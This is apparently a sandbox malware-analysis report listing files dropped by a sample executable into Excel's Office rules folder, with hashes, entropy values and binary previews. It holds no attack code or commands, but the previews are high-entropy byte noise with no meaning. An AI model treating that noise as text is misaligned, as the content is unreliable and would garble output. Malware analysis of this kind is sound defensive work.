F.].........!.....BKa.-_...i.'.............$...ulj..[U..z...;.`."..Ff.....t^F...O.3.J...s..w.MbU.-..f.v...{..........}...M..f.Ef.oS.3.m....U.."..9.r..h......+[....:....0.o......CH.9..B.l..i{.fQDZ.:....Z'.....Lf.".k...dq................x.Z.-Y...U>........C:.&..o.A.H.$.c>..#.Vt?."..R.!.A....['.....!^Vh..]M...k.b\|'`.F.kR3OI.....R.KG'z.<..p...;~.7`..W.d..qb.lb..a.F.9.....v..6..6bHa..z*JW.H..Jv....C.b..).t\........^j....H.&....B9.2cO.V..#']>.f.....Z..7.A...L..v.e1......&..M...Nf...@).....gTr

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500003v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.792787324939804
Encrypted:	false
SSDEEP:	24:i7KBSkx00MLhpgPP1QMk1J8DPEfyV3Wai45f4IW3/pP4VbD:iKXx0/gPPSEJw45f4IKGFD
MD5:	B7E4CB786274B329DBCB023BF605225C
SHA1:	DFB3120573464214CA2F11999528A884A013255D
SHA-256:	F1C22518CCF63F594509B8DE2A011DC9E6097E3A0943400A8ADC9AFB9B498747
SHA-512:	33C9CCD475CCB654A5BD944F773F405E903D39F25AD2D9FED58055803FB883EAD2D66B64761AAD1B04BE50A65F57F063EC743821AB029DFF396F9962F6B53968
Malicious:	false
Preview:	<?xml...l.j.Q.....5}.e...k.:w..p)........KI..i..w.7.....Fn.~.$$..O .Y........_.X..Z......e...9......n.u..._!:...?...J....."...ZO..e..P.........G..........D.9.DG.#..(d......2..w{..o. ...%6.v......E..Gv....!.cX`h...f&...l9.LQXa).2.Xn.<.g.K...l..i..2 ...I.....U.$..E.[...M..Q.o>)...4S....tdr\..L ..j.{......H..5.;e..S.......1W..............U.'.02...Y......g.w^.s6....0..E..A..%.. .$p....6....d.V9..9Y.^._.".S.O.B...N.rZ4....'x..4..s...T9.&..u......,F.W....ki3...$2.C./ShT..8.dCY.Ix.L..\|.\|..j.5N.P..0/V.J......).!h..;..CG...C..........GAhY._.C..XNu'..+:.w....Ut9.`.V7.4.....FKL.....]Mn`...D.....zN..Y.Z.......p...rjf.......N..!?....a.[Z....[..~.-...V.%..Z<......._(..}...7<..D.....t\|.....=.. ..$$..Y\V....O.F..&.+.$1...QV......-D#..D..s....A....p....p..-v.....W.@$hG....P......2.@L.g......].....XG...._..]...i._../7C... .M..t....b*..}...j.b..t..`8.(........&......l><..\.....5`...w ...I..)i.e.m.c.......[bs.\|......@N!...D}>m..d.7.q(`...n.....W..z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500004v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.826310126071598
Encrypted:	false
SSDEEP:	24:Aj+ci0FfDzUln80Add8TdcqpLQUz3SLxm8djt50VbD:8pU18NcvLzbOdReFD
MD5:	71E4351817731A8854A26C9806FBA8E2
SHA1:	204FB9E68EDB5E1DD8980D9B18499EDC767815ED
SHA-256:	25F68332EB63936F9BBA3E0E155418CACD2478B4CBE70D91595BE29311CD6E3E
SHA-512:	AF402A8FB2A434EBF9E00AAC531F8280CB881E2197CBDA0C864A9C4D79A8263457D19B7E3088BA20D2FFEA1E7AEDC999AED4085851B4E53C4651EC262DA76966
Malicious:	false
Preview:	<?xml...g..t.........R....l#..t..=..K.Ai....z.N.X.JR..S....z..[1J...n.9U}u.9]]X..._,..x..x.7ui...pI{.x...~GBkh.J.>........G?.\|..T.......@.?5.....e$....\|...pt..m.{'.dK?&U...C%....M.......S.[#Uy.....Q....heg.W..G.P...;.V.l(Ws...o.....~.<.~..Kz\.y1.!...#.8.t..^.'."W..?.._..)..y..B..6.;-q..._.....\|.....].....o....f.7sz.e..s.c..........\|.V....M..=M.K..IJ=C..\..X.z.i...Q.Q.......A..e3..;..@..a...wy..".+ =..1NV......O. ..[p."..(...+~.!\|uc.i..C.....&..~..01. 9..,.wm.PC^..o...$E....F>....f.....p8Y9Ze.V....G...}+ S{]N.ref.S.....H...F..Q.._)....x#.).z.....k.3.^....x.m....e.T.r..E.....Y.CsN..j........0.p...V....5...ZE....98.?...:...`8.....b.'..d..h%........+....9.(.>...^..w) .k..'.<=e7..B=.....6Y9....,HW"...\.,W...8..:......W.um..b.......!.....T.....\....,Y....j.&.PhW..3..D......8..El...[x.k..T.v..q.b..Oh...31..b-..~"..c......4@.R.4.S.{.VC..4.;(E..WO.x.8./.i.....o~.q.3.D....",.r4<h8Kf..`.M.vw.,xz".....Y7.m..:<...n?.[:.Tr....mP....0.:..U'.Z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500005v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.823580126581676
Encrypted:	false
SSDEEP:	24:eMXbN8CvAAUs2Wt301+fNYWi07q5QB4E4d9ZLO/mOp/6r5CIsnAVbD:eGbN8xsDDi07q56B45xY/45CQFD
MD5:	FF7EC7B89DDDCD1E5F67DE60A95423BA
SHA1:	3834A84BF0633B53CAEAC10D0CF7A2FE2111D033
SHA-256:	509D6AD5D37E8ACC996C8BB62FCE14FA157C661621880B54A50271D07C23902D
SHA-512:	2E50CBBF6FB02ED82EBD5B95A539F20ED5D5B825FE1A0524F02A76DD190415389323E4415C2CB1619DCF521986B8FB70732309AB9F140AAC7E79BB58A6548ADF
Malicious:	false
Preview:	<?xml........i................+...cYGv.....tj.....;.$F-=\|.....^.U..........].$....&....#..`...L.".9..Id.v...\|..k{..c.&.9..w....~...Z_........W.....F}.7b.e......HBC2....lx3......;...pdT.N..@.5.....olK.l2.3N.....9..H..'.R..N....(5#]I..i.Q/Q..\|[..j..3B...e0..LM..[r,..q.)..Y.$X(..+b..{.['.!...p...<..~o..t.p.)l? .h..2.9...D.C,bk..t.NJ............}.......B......n....-Mm .U........W.3..Q....fX."R.#..er...?6.6.l...7.....c...f5..p.....{..Y}x`..G.ctA$.t..w.....L.e.........cc{.....sg.4.*...S?.......D...j...c...r...........kW.NW8CI....y..)/.2..!u..-...]...+Thn#\|a..:`.Dt....E.\.}..f.=...I1......P..<.S.<.._ I..Y9.t..)....q.C<}......0=V...%r.[..9.......0..ZO.......Z.....T.b..:.`U:...X..5......~.?....g.!f..H....Y`..J.[.....Z..:..n...B....CE.@y:..(i..;<_a.j....iR....=...]..@G.V........I`..Jn[0c.U).....i..9..s...}".}z.I.:.........Y...J\x4dI.....o..'):..R....R...z...2..Ja...q%....../0.i.o`>7?..)..toD-.Z.y2...@[..YP..I...rR....c........rz.`n).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500006v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	7.748801186695494
Encrypted:	false
SSDEEP:	24:HBcUdguwMJLgd/E1f47egpZNdfBuQnbQrSNLthBVbD:GQk5KeegpZNdZuQGSNZhBFD
MD5:	F9711F99897BB26AE276F7F47E67555F
SHA1:	6A70205E23308EF201591C67BD2767B178FF7BE8
SHA-256:	C8E6A40E7FFA77650518F579ECE317F787A66A7B4BC8AC27068B635B8ADE5CBA
SHA-512:	4F7D42837AF6F11AE572A064E54AEF89411ABD63A9419D8C425AAFD8F9BB2D4A9B5549E9E83175F3823D2A2DF4391C381077178FE7AC2CE6625F259170F38B48
Malicious:	false
Preview:	<?xml....5....M.1./..'...^.E...KC._........q....2.U..v..~x...H6x.......d..$...z9.....c.......":.'......-......8.a.p...7bm.N.....R.]..X..B........p...DdxS8..G.T.a"..W.js.....=0.K..&2}<..d.....UJ.a....._.h.;;..(wx..D.g..`........Ac.%h..YI\|...$..a{.e........z.a.7......k71.v..l..f..-....^g.S.A.DE....$.&...$.@..s<.t......!)...Xk;......h....O.n.X]=.;..Z....cL.(VB.n...;t....l+...W.:Z./..* ..p.?...F'[.]$(..S....D.".:.^..../g=a..X[l.m.....K.+.....r;....W..W,/YpX0..M`Z,.!.I.2..3....Rc.1....:e.{...S..m..;.y"..+...C..=.z3.8l..G..Jf..*.A...z.n....;n.9.4.....g.P...(.?..AZ][...vM{?...l#....h...VQ...\|.L5../L....P..7<^4.y.Mskv.$.....DT..)Q.VK...~.z.......D..FM..wa.p......_.k.....H.P...o.M..a.....3.9..G.5.Dl.\|...XN~y.v..O...6k..?C...l..[itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500007v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	767
Entropy (8bit):	7.761375939714695
Encrypted:	false
SSDEEP:	12:BnMCCrLkKIBtFK69BHkYI0rc2lUNJNOlUUEbR6kv3wIn9B6Ar3VEbjVcii9a:ZMFrILFKWBHkY/a66UwR6k4I9B6O3VA9
MD5:	7163498139C9F6423B0574C9C90EB2E3
SHA1:	BA4C290197EF7771E6E3B8640F8CE4E03EDDBAE2
SHA-256:	94F79EF338A942C342F06458EC466785C3F9EC58301760E7480357F44B7BBB3F
SHA-512:	0A3D90FAB14F785325FDE34E651DC84BC5CEADBFB56848D8FC78D96091B397C69F664728FF9D80E47BD5E8FE2D4BC931BA5095D8A71751E62E6C43294BBC6787
Malicious:	false
Preview:	<?xml...S.O.4@6./.v.N........$i....?@......L@.c.'...=.9.h.........A..7.......5.z...2.[46\|...Q...I..........N.C^.)v(Y_..qvr`E...V...H..0.....%R'..m.N.l..,.S.)!,.r,.8..#...o.]..F.D.N......W..o.....d.X...:.]^.......N.v9x^.a....Bi......#........u..3<?....?.Ic.pN..U..(/alhMy..."....bj.CG=.......?..9I.T...v.{..E....[......o_...J..*.KI........JU..V%B..j....?.+1G..$=......z....`>...8.?->.L..^i.......f......F G...=G.K.zOR.....o.B\|T..a......V..Y.4.sA.I.........jF..g..N...f.D2.......-g.--.K.7.... 0.nY.y.w@._....]Lh.$.R...O. ..0L...5...QN`.mB...^=..rr...L.&....wM.4..G....+.sQ.5Nd..\|bD.. ......\|...tky....D.G.@.N.....#.w>.e.!.m....R.......f.JLX.....AJn@....~itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500008v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	845
Entropy (8bit):	7.73736526194658
Encrypted:	false
SSDEEP:	24:dpShc/OzHxYIeliR/trloS1NYlputvffPROVbD:dYzHxleliR/F+uNIQ0FD
MD5:	A26208EEAD3BBE5D2BB652B762787CBA
SHA1:	C8F4EF91C3091150947F982BBDEFECB198AC95F8
SHA-256:	BE17964A456082E6734CFEEA49985BB469D64E90989FD3B0506D8204F16CDB07
SHA-512:	4E5126450DB3BDEEC27425EED108584A760A666619CB5ECE79DF7F87D7D093C62E9E9FA5E07E7C843C5BE89B0F1C30AEC5E8AF770CAF34601EAD6DEC97125AC6
Malicious:	false
Preview:	<?xml..m..t.dB....z._...I.^..G..Us.9.j.gy.W3.2.4...G.J.&L.y.....T{{..W...~TF-.l..Q.p......q..w.}..$..o..?.uh...@......'....U.....F..4.a'.U.+'..4..o..%mb....{...6...HX.g.=77.T1.."P9{./..]..\f.A./1...q.3.&..l......v..uLk/..f...;e.=,.q...dU....\|L.m..YDo8....o.tZa.x."-.P.9[5.F6i.Q0..[..2.5$Ro...JW........wJ.F.q.&{).C..\|..4.....i.N..k..u..N...fP.{Q^.-.C....._.c.....A......4K..eqVY.ab.TB&....[...M.#.6C...s.Y../.......%..Z..?....bc..,..........S.2.\.$...f...".G\._).Az.R&t.....wUx.d... .).A":.6.%Er=.v.\f?.......H~..$U..Or.....~.n...........p+~..>0..w.$..J..O.wzM.S.r..+....H3J..z....0...)..m..&..r...E.....kX3...M.......mD...U)]m..H..D..UE...$.h.=..A.~jV..B.&=a&Z...v..0.#.w.v....V.....8s.'..F...K."..2.k......F..~.n.\.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500009v4.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.828674695951276
Encrypted:	false
SSDEEP:	24:O3Wr0HSS7jAtuUnIBi9TmcV7ys3Lrpb/tj0LJqCKmQ5HK4oVbD:240vcIBeCk7hLrNl0Lk3troFD
MD5:	1E8666DE0D49262169EEEF4FEEC8CCA0
SHA1:	670A6E4A73D24A3A9E78CE1987791E83F843FA1A
SHA-256:	59F1215878E522093CEC2F5924ABD6A742DF7E0D400574E71F7712D3D0EE5CF8
SHA-512:	5BA6C0DA9FB186A317CC72E9A00B98C92DC30019A322703EAEC4F9213EF326F0ECAC3625EF4F5DFC4B05DAA6F5BDEC605DA41DDC7F1E513A44ECA499DB91C749
Malicious:	false
Preview:	<?xml[.w_.jZD>0q..w^)..... I.6.."...Ju...........\|T.[...G.....m...~......X.6.!i..A0........In.u.}6.....I]..Y....$F1$.3.....@)<.sd..)-....G....g..[.....t..S5Z)I.._..,p$....=.e..x.F......kt..+.}.S..9..C.{L.....X...,..)l-...O.^..]........?.H.C.\|..VDMfV.n0.........<.....Z....n...e_.+'...x.u[...pc..iw.q.......t........bqX...D..4-{t.3_..W.B5..7...m.lZu..6.0..B.+&..tTx..F..t\|..'.`G....XJ.....U.....U.eq...,dQ.m$...r$.<......V3IC..sB.6Tm..A.b.;...A.pu-.bK..}5.......~.`R.&..>........Y..C...t......=..).xc`.9..T9.......Fl(z~..8.m."....2Z....{.:..0M.q.Z.Y.Uy?.........`....K.G......}dl..I....~t.!~7[....~P.x.)2..YMn....K....x3...R^.#..o...!...jc?y.RFT.....r...t{.(.cQk..l..}.c.[n.x....l.[....V....+..T!.+.........Q.M......@.w.\r..i./]2B.nx.oF..$.L....U..N.ex=..:...n.]`...'<.Z..D....=@.aC..B....~.y$+o8>...A.[.5..._..}u.q.CQ;..0..'..._........a........qQn....}.._h./..\|..Q.^E..0.M.'A.}G\H.....x.?...F.s..Pe.&..8FL.....*.Z..#....~.hQ...D...c.ax..i.C...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500022v4.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.796895235705278
Encrypted:	false
SSDEEP:	24:FvcJN5FgYWN1jTUfaWRQJThtVKLUR2dNVbD:FEvgYWN1HUfaAQhtVGSQNFD
MD5:	1B83D9284333CFFAC9EFCA807920FC3A
SHA1:	0AEEDE29BA9FAC6D432FF7F5503340773D72E0C4
SHA-256:	ADD5A3DBECDB38432246285ECD6BA3783D202AD8C47A25CCEC2631564BF018FA
SHA-512:	C6DCA649A7211056B70B82C230D7BF1BAD72A70FDBB8609DE357CF67EFB2DDE8721BDF138124A184F4F3A7A5414D4AA77E789AF4F1CF06F46396FAE8C63969A2
Malicious:	false
Preview:	<?xml.0.t..mSc.!.S....O.GbC..h..IG.k}....3%e....@x\|tH/...Z....zf.....9.lY.......&/^j.....u4....z....W...N. .......\|...~..Sd.......@DP..9...Z..i\. ....W....vTD.....Z.../.aN.....-.V.p....%2...l......j.V<.....x.1...Z......p....v..g..X../V&....0"........8.).._.pa...M...F..1...i....4<nh......_.f..hN:.....U....e..mG.6.6.....\:.[.)>''...:....@.. ..&H`...[V]......Q&.T.C..s`..=.>..`..!c..E...@......s...j..A...r<a..8m.....yJ.H"m.E9.....j. zy.AL..........^...+...b2...<`.3x./a#Rm.....w.+.._....~.4....Hq.......?...DDYOP.:...4...`_....b.n...-`.x...3_........4ZyB..X6...0...@M.AX..i#..4i....u:.....Ca.NbB,U..\|-.....T..8...?h......T....F..v.S/..h{Th....-....N"F..9...}.~.'..$..y.b..u@...L.1..d.^.../....P...J...[.].U`w..._5........!..5...lg...G.cI.........i.56...#.....P...M.k...d.....R..f..#..C....=...#.e.J%..w+"..3itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500023v4.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	969
Entropy (8bit):	7.778246547519637
Encrypted:	false
SSDEEP:	24:uim6lbA7i/3lqLaLHX07mkHRI6d4PuOI/jNcVbD:foi/3Rb0ikHqwjaFD
MD5:	6ED68E74AE412F1DFB5603B7A55B7343
SHA1:	145ADCCB0EF1D78DB8CE5607FD32AB4DBE119F7F
SHA-256:	61C8CAEABFD2276FE5DA2BF59EA00872CC99781B73A46DC33AC86A4FF23BAB3B
SHA-512:	277F9DFE7079727EF9CC381A2CA48EF1A74409313C70F8570E3C2C833B9A611D4D0642FEC2217B2B10B9E44D4F2C9F23AE10EF942D29F33533D80FCE5910A481
Malicious:	false
Preview:	<?xmlY...!._..R..#...WJ..=a..w..!^. pq............6..~......H....2p.6.I.i.F...J..Vq......<A-}...V...C...........`Yj.......r.~..........n.9...@g.Y5.MZEs..)...:i...,EZ.r...m...5Q.0.....`<....J...............O&.J.6[..}.N..z...^.......B\|..@0aTde.bK.....V Z...".X..o.t...s...A.....b...A.. +.......H.#M6.@.{.Y.t...,.....v..l".\.5-$1\5O......a..Xu....^..td.L.....;[....Gvj.bX 8...X...... qO...n.....i(...dB.......D..N..]...Z..T...ut...9.s.q.(...]...yVb..M....+Z.T...<`.......S..J.~.....>f.....O...P.,]\.7V7Cf.(`.......St.=1X...]-.T..+.~0.&....8....D^..j..p=..T..\|.[...Dn.15..Z...G..(D.b...._.+.:.X.U.+.],.L.E...q.1.[...=W.....z".....s>.$..V21U.)......=.^.#.&......~a..TR.d7..:.r..lk.X=T....j..!W.....1...v..V...=r.....&.k<.M0..f.s.7...,._u..U).d.o.k....5.B.I....j..k.$.....Tj......2...hi...x\|..H.ml.1..V.ea.b]...m...!4.x....).....z.....*......&.z..gitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500024v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1467
Entropy (8bit):	7.844179194126798
Encrypted:	false
SSDEEP:	24:LZbfOica7w4Rwnc4nhbxCcgb3UQGSIf2tB7IA84ndb14SdWgHoKCevwjvdHBssWM:LZHPwnc49ocgZGSS2tB7IA84ndb3voZp
MD5:	9366E0A42A7572BDDFF98C74C3376061
SHA1:	869F081568FB44BF90279FA788D765D3F2890763
SHA-256:	39F44EE7AC5C57CE6219808E5458150B802933CCA6D7FCBA83B97E94E60E08C0
SHA-512:	0DBF73AB94AC07EA52922302EACDF8055026760A7A763CCABB6E89FEC6094956F557A7F96A03A0CD82F930EE54DA05C497C654F324AB4F4039F2C12C2BA23CD7
Malicious:	false
Preview:	<?xml.\|....h.4.......7.]O..r....u...-....B.Q...9aH09...R..-k.V.7.2r..L0...3..VdA..doIM.@...<..S...,o..c....(.1..UU4..=.v...Qo.7....N.h...)i.......k........x..OaT......ZE.q33<"..T.+... +@u.$....,..e./.q4&5.b.4'...7..yO..../j.a........kl.^..H..dQx.-..R..1..p.0....}.=....^..<Vl.4.T>\[.Z.M.....'..>....sQ....Q<A..m.0N.V...[..\|hL.u7.5J......Kl...c.F....e..... .1.`...xQ...v#..L#.F...\|T...{.(.2z..P.'?....4.%..cb.0."9.a..@_o}M.l.2...1w}\..s..XVmX.H......SO....XMI<U.r..6..X.`....z5....+r..=.Ii.m.a.....p...q2.l.N..b%B'..;L}}..x....C..J\|...)...sS....C.....?0F.2>.s...DY.f...Z.\|.:...4........X.....Z...X\<<..2s.........].R..-P..3s.KH..L....t`lv....v..EwL...F]4.MM9....p.E...":.0Q.5E..l.....=\.F..G..$..E......s....!.b.........L.....5...>c>.p..u..6K......%.R'....T.v...s5..S.u\|_..4...MN....EA>v...e[.....?.Qh...Z..6fb]o.=.......]."\|...(...tgj..b.&.m..)]...0R.....wY.p$.fGL.]...<P>.....y..aiYM.0.JI.s.W.....p{....g.O?M..!.yY@.s..x.kJ.....f.4..$R.w.pI.......]..}...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510000v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.863434964052759
Encrypted:	false
SSDEEP:	24:j70WMbg0k7GmVNpOYz/fi7pTl1ur7ItPHVUpPUEh+mJ9itLHVbD:lMclwYDil1cQHVUpc0pHOLFD
MD5:	9FF2C7553546D9737A21D68A89D97B7B
SHA1:	75D11218ED5EE226C403CE5D2BD63B1DCDE765BF
SHA-256:	696B86F401559BAC54D3A512A3500FD2B21A85C6B53B5905313F27FE6534B089
SHA-512:	CAF232BC43B322ECA85B7E8F7C0C3C419AFE634E31EA65DE3D42456E4F55B42C6AA9DC2F5F2BA8F439E5B4CD50AEB5A5B2E726ADC8F8F7D0BB306BE4169DFD85
Malicious:	false
Preview:	<?xml..n.`..K..#...(..p;.`..m..Bi9..mp...8.8..;.y@..Z...G...a@.\.r..iR.~RS.....Z7.'J.]pST.w.$..v...(j."....8.c...".F...O.......S).j...6.z...y..u..Q..Xns..$...~.=./......~..t....8L. ..G=dN#..@.&.2...U.q-...Oj1vN...N.rdCON...R{.Y.z...;..L...l....`+...M.k.u."....(H+{..v.6..t.I..N...qf.}Ro...AE.y.7}.`....R..f........a..)..x)....U.m.D..I..^Q_\|im.......{.F..(s1.Q.7.e#h....%.........&!..,2.F...:.j0......!.....tu...P.....%.,..oxDjm.^..N.O..f..c$..8...O..hTXQH..t..\|....&X...7..7Q.a.o.D....gU.W+.9......../.d4FOV..O.u....0.R..Y..6..4..."os..b3.....SV.F1?G.......r.B..)..H....v.....D.l}........hw...M.{.......7.....G....w.+-..=..9Ge,x..\N.....P1..k_J...Q....X..p.K..,..c.....h......N...2..L.8.}....C..x..=A.=....g..86.{<..f^5-{S..-..X.A.9..........#..z..k.u.4.lo..U4W......i...5.....T.?T...Kj...6/..O..W>.....i.....m.3U...?#....N.xA...ZHMfL..N..1.mW...l...c............w..f..`.;.g._.U[...(...7....Z?}UhTc. c.....mB..P.J...Th...3..C..\|E.....l.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510005v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.8275512429649075
Encrypted:	false
SSDEEP:	24:z4d+WS3WWR4MeTERNLWZLvrZfsvHojaDwQ5OKEBJXwYNiH14B15i+WVbD:z4shBqqRtWZLZSIqwg+w2c1JFD
MD5:	3FE5016DA3B80669A9B8F668744459DC
SHA1:	BA817559CA466CC6D8CA5DFE66DD906EB082F1DB
SHA-256:	E1C0B8C3A87471F29CD91C0A41728D39BCF3F8BFFF5038659E00519015C94EF1
SHA-512:	CB8338C01A5011831EF292B324D7B3D46A1A2C377863D6576AD628E4BFDEBE0C10BA1764B7FB41BABE22D926657B3162E017A3B88942A1374A8FDAB78F21DE6A
Malicious:	false
Preview:	<?xml.z..SK.....t".OK....d....<.1..{...7..hY.......WW..]....4..6...p?.A-.N...iq..'.UE.?..../.BK... .(.\|.)......c......q...1._.,..p...;7..@J.+.'..j;h+c..o....<.:.{...B.O...F....'.l...RM ....C.z....4./PH....c.l`...p<O"....x.=.B...u..$...y>.7nE5....no....&.......B`p.....$..K.w...sq.ec..]..T=..q..R;.....Wm.....&lX.... `.Z..4....`Nl....Mk.YCc..9...g.O...+....._.Y!.z.MK.#.Z.t >.7'..8.E..8C.9..]......W......+JX........w>...;....fHO.jxYV.......6....Rh.4,..r.T.&......On...d.PN...q.=.n..........'rd.....`.H...I..A+n.i.bY....(/.Uhf........v.\|.?6L..[Yf!jzl.......V.W2.wjq.N.FP(.dj:....iW.w......2.>".9._...bu5..s.q.44.T.0.t.hf....=.MFT.E........i.]....U..>?...JX..M..x.b...w...8.$.Xt?,.w..E./...<..C.%..e..4.....o..c......2mn.e..'..Y...i.+...e.A...9..n>..M.../.lW...P`;....B~.&.u...X./.....J...PI.I..o2.=..?+"...cN..GC.r..nr:....*...../....Z..+...?[..h...pt..........=....@..WaS.....$...H..FlyE.!....\|b... ._.W<.Y$..D.P.z.R@.NS_v.....7.w.hI.IlT.o.#..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510006v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	7.800594640071626
Encrypted:	false
SSDEEP:	24:eLgbaFyScw/t3qZD+gKm9Zls5ql/Ic0JgnTpxnI0VbD:ekAF/5qBfL9P3/Iy9I0FD
MD5:	90DA3F8D7458FB95B0708588168DB6C7
SHA1:	6C39D582320575151B259F1EC186094FB073D1B9
SHA-256:	B1B2A9869C7D0947EF88EA23D969B710CE10922B43AC1DC87BD31A2DFE60F32D
SHA-512:	208F7B0F8DAB50D8D42B59E2EAFB8D19DA86A1B8A09CCB1BD77DD9D84496291A5AB4C31B3BAFAB179D23DC391D82DF7F9694A39F926D065516356FE4C97777B1
Malicious:	false
Preview:	<?xmldyM.....A.....:>;/..4..N....N:.u. 0. ...x......1........%j..<.V.a.......~.$.@pV....<@.).s........P.oBU..wP.N......@......0.... ... ....<..b..k5.1kJf3..o\..d.....C.;.3t.H\|Z...D...W...!H./N.E.'1..d....#Q..l..1N!!.....V...-......s....(...4..\|5.K.D9G..1...+.)>.2.......>..?.D..W..g.>E.n.p;.,...b..y.w3g...g.#@W/..h.....~..R.F.t]..k..~...P\...Q`.:..k~.^@z6@..I.6f...N...r.1.a......S.....5-......Bw.G..vP.B..~..=E..x..I1..~.A..~T..:c.8.-...K..u...^.y... f&g6."..(;q....=...+i...@Q.......a?F..,z...hc....t9.F..O..Io...m.B>t.a.... ,o..:Y..&.d"..-i.....I ...\|...N..P.....3:8....T....F.......0d..q!.l....a..z...DH.J..s./....V...3...S..7.[.-V=kV....}....i.WG.]7,..r2....:.HR..#O.y/}`Lq..M..U.w....J:..Zd. ..hQ-$c'...[l...).qEk..)...9.Z..b1}x,.6.G.....3...i?$..^....O.i............M..V.. .T..a....._..?#..(.Z......b.].8^./P.9...X."...u..5K...gS...F.>.V.U./.. ....X.5..v.....q..mR..A...P......3.........r.9^C.....nS..y..-.D.).F.& l....Emw.....U\|U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510008v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	7.822969812065984
Encrypted:	false
SSDEEP:	24:wgJX2O4BKoABL4DNwccawkqtVKzzc3YAbC7LEXhmPlY9LpfpmUq3VbD:w4X2XB7SL4vqUzYB2ErVphmU4FD
MD5:	4B4EB4C5C9752E875E31A45CA2AE0840
SHA1:	B1E0EE27DE5D32CE025A362D90193265F7AE7EB1
SHA-256:	11762C2B94A1551AB4158139B6D498769860385DA479233078015CF5F6B10AF6
SHA-512:	607146BE59815D1A68B2FBF78CD67889A35594638974BB26FE6EE07089D5521D8E24C77548CDD18968E52A9076CB4AE24A10C675000CB94987BCA2493FD46F57
Malicious:	false
Preview:	<?xml.-F...6.S'f..T.".9.L3).......r@../.d...' ...[...u.%.@..RB..Z%...@F.Z3.P.d..&..2<..K_..D.I.\...(...R..bZ.e.X^.?.q.Q...........fg..\N`oa2.J..K}.....=..:.....).N..(...E.BiUQ.....>H.'..@.C....e2.I..[........P..............4[....L..g...Tgtc......!w..........Q?D.(..p...../.......z......]..TB.........S}p...x"...;..e.(..%.\|....e....Z%.9..p.~...Z..)UJ.[O..A.s;^..g.y...(...Z...!.....I,.....2[....2U.g..qV&..49.@.W.^2.^......q.0W...F. v......K..&....z ..).....a.Y.3Z..Q.F......F...0R.6...P-G.......dcy%Y...dg.\..2.l.+-....p Jw.3.r.b..g..7]2u..9./.n..Hx..S.....}....d7Y.j.K.....M....>`..8I..s..K..Q.s..b..x....;.s.6./.......`...L.D3=0.it...%.42...E.j....`L.?...z(..I)2..B.G3...W...j.w.....*...sZc'...V.W..,.l.......<.LA.U..Df..N.!.U.!\.'..2a.5+.H.$..I..I..7..t....i....7JU.h..R.:+9..N..!...B0.?.B#..<.Q.k..;.E..5.....t..L...j/..&LX."T..1..(2$.uMJ..qIevm.Q...W.."....`..{.}., .{.s.YPS..,.:.n..?>tT....o...H}..Yy..j.$......_pE..{.^..(;.:l....c.x.....3.Q....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510009v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	7.8078229368675744
Encrypted:	false
